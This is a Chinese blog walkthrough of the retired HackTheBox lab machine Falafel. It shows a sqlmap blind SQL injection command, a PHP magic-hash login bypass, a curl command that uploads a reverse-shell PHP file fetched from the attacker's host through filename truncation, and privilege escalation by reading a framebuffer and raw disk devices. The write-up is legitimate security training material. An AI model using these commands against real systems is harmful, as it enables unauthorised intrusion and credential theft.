HTB-靶机-Falafel

本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关

靶机是作者购买VIP使用退役靶机操作,显示IP地址为10.10.10.73

本次使用https://github.com/Tib3rius/AutoRecon 进行自动化全方位扫描

执行命令 autorecon 10.10.10.73 -o ./Falafel-autorecon

就开了22和80端口,访问web应用

点击了下页面的功能发现个登录界面,试了几个弱口令都不正确,但是发现尝试用户admin的时候显示如下:

尝试非admin用户显示如下:

猜测这里可能存在布尔型盲注,通过测试确认存在,下面给出最终sqlmap跑的命令

sqlmap进行布尔型盲注
sqlmap -r login.req --level 5 --risk 3 --string "Wrong identification" -D falafel -T users -C username,password --dump --batch

login.req内容
POST /login.php HTTP/1.1
Host: 10.10.10.73
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://10.10.10.73/login.php
Cookie: PHPSESSID=um2i05ekvo5fvm52clvh5ve840
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 27

username=admin&password=bmfx

sqlmap倒是自动跑出来了用户chris的密码,但是admin的密码并没有成功的跑出来,试了下chris的密码成功登录,但是没啥用处,我们还是得找出admin用户的密码

用户admin的hash值0e462096931906507119562988736854 经过谷歌搜索和测试,发现带0e开头的hash是一种关于magic-hashes,详细链接参考:https://www.whitehatsec.com/blog/magic-hashes/

所以根据上述就知道了admin账户的密码为240610708  使用此密码登录进去之后发现一个上传页面,上传非图片格式会出现下面的形式

经过测试只能使用长文件名称上传,且需要实现在本地kali上生成好此类文件,写入php的反弹shell代码,文件格式需要类似于....php.png之类的后缀才可以,具体操作如下:

事先准备好的反弹代码名称

使用python搭建好本地简易web应用

URL=$(python -c 'print "http://10.10.14.5:8000/" + "A"*232 + ".php.png"'); curl -i -s -k  -X $'POST'     -H $'Referer: http://10.10.10.73/upload.php' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Cookie: PHPSESSID=um2i05ekvo5fvm52clvh5ve840'     --data-binary "url=$URL" $'http://10.10.10.73/upload.php' | grep -e "The name is too long" -e shorten -e "New name" -e CMD

执行上面的curl命令即可成功写入反弹shell,然后本地监听端口,访问反弹shell代码即可

成功拿到shell之后在网站根目录翻看了下发现了数据库连接配置文件,找了如下信息:

使用上面的账户和密码切换至用户moshe试试

到了这里执行命令w发现存在用户yossi是在登录的状态查看当前组信息,并列出所有组信息

for x in $(groups); do echo ========${x}========; find / -group ${x} ! -type d -exec ls -la {} \; 2>/dev/null > ${x}; done

找到了一张带密码的截图,具体如下

将文件screenshot.raw复制到本地kali,然后使用gimp打开调试一下即可发现账户和密码的截图(类型选择RGB565 Big Endian)

得到了另一个用户和密码信息:yossi:MoshePlzStopHackingMe! 通过ssh远程登录

总结一下,这里主要就是发现用户yossi是一直在登录的状态,然后通过设备信息,获取截图内容,找到了用户的密码

此处仍然使用同样的方法通过读取磁盘设备信息获取root.txt,所以可通过下面两种方式获取

cat /dev/sda5 | strings -a | grep "root.txt" | grep -e "[0-9a-f]\{32\}"

echo "23b79200448c62ffd6f8f2xxxxxxxxxx" > root.txt
printf "23b79200448c62ffd6f8f2xxxxxxxxxx" > root.txt
echo "23b79200448c62ffd6f8f2xxxxxxxxxx" > root.txt
echo "23b79200448c62ffd6f8f2xxxxxxxxxx" > root.txt
printf "23b79200448c62ffd6f8f2xxxxxxxxxx" > root.txt
echo "23b79200448c62ffd6f8f2xxxxxxxxxx" > root.txt


yossi@falafel:/dev/shm/.d$ debugfs /dev/sda1
debugfs 1.42.13 (17-May-2015)
debugfs:  ls /root
debugfs:  cat /root/root.txt
23b79200448c62ffd6f8f20xxxxxxx
debugfs:  quit

posted @ 2020-12-04 10:55  皇帽讲绿帽带法技巧  阅读(185)  评论(0编辑  收藏  举报